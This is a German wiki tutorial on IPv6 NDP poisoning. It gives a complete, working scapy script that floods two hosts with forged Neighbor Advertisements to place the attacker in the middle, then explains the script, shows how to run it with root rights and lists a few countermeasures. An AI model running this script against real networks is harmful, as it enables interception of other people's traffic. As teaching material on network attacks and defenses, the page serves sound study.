IPv6 NDP Spoofing mit scapy

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

NDP Poisoning mit Scapy

Einleitung

NDP Poisoning (Neighbor Discovery Protocol Poisoning) ist eine Angriffstechnik in IPv6-Netzwerken, die dem ARP Poisoning in IPv4 entspricht. Das Skript ermöglicht Man-in-the-Middle-Angriffe zwischen zwei IPv6-Hosts im gleichen Netzwerksegment.

Python Script

#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet6 import ICMPv6ND_NA, ICMPv6NDOptDstLLAddr
import time

interface = "eth0"
host1 = "2003:a:32a:1799::5:1"
host2 = "2003:a:32a:1799::5:2"
my_mac = get_if_hwaddr(interface)

def ndp_spoof(target_ip, spoof_ip, iface):
    # Sende eine Neighbor Advertisement, die behauptet, dass spoof_ip bei my_mac ist
    pkt = Ether(src=my_mac, dst="ff:ff:ff:ff:ff:ff") / \
          IPv6(src=spoof_ip, dst="ff02::1") / \
          ICMPv6ND_NA(tgt=spoof_ip, R=0) / \
          ICMPv6NDOptDstLLAddr(lladdr=my_mac)
    sendp(pkt, iface=iface, verbose=0)

print("Starting NDP spoofing... Press Ctrl+C to stop.")
try:
    while True:
        # Vergifte Host1: Sage, dass Host2 bei uns ist
        ndp_spoof(host1, host2, interface)
        # Vergifte Host2: Sage, dass Host1 bei uns ist
        ndp_spoof(host2, host1, interface)
        time.sleep(2)
except KeyboardInterrupt:
    print("\nStopping NDP spoofing.")

Detaillierte Erklärung

Funktionsweise

Das Skript sendet kontinuierlich gefälschte NDP (Neighbor Discovery Protocol) Neighbor Advertisement Pakete:

  • Es sagt Host1, dass die MAC-Adresse von Host2 der eigenen MAC-Adresse entspricht
  • Es sagt Host2, dass die MAC-Adresse von Host1 der eigenen MAC-Adresse entspricht
  • Dadurch wird der gesamte Verkehr zwischen Host1 und Host2 über den Angreifer umgeleitet

Code-Analyse

Importe:

  • Scapy: Framework zur Paketmanipulation
  • ICMPv6ND_NA: NDP Neighbor Advertisement
  • ICMPv6NDOptDstLLAddr: Option für Link-Layer-Adresse

Paketaufbau:

  • Ethernet-Layer: Broadcast an alle Hosts im Netzwerk
  • IPv6-Layer: Gefälschte Quell-IP (spoof_ip) an Multicast-Adresse ff02::1
  • ICMPv6ND_NA: Neighbor Advertisement mit Ziel-IP und R-Flag=0 (kein Router)
  • ICMPv6NDOptDstLLAddr: Enthält die eigene MAC-Adresse als gefälschte Ziel-MAC

Voraussetzungen

  • Python 3 und Scapy müssen installiert sein
  • Root-Rechte für RAW Socket Zugriff erforderlich
  • Beide Ziel-Hosts müssen im selben IPv6-Subnetz erreichbar sein

Ausführung

sudo python3 ndp_poison.py

Gegenmaßnahmen

  • Verwendung von SEND (Secure Neighbor Discovery)
  • NDP Monitoring Tools
  • IPv6 RA Guard
  • Statische NDP Einträge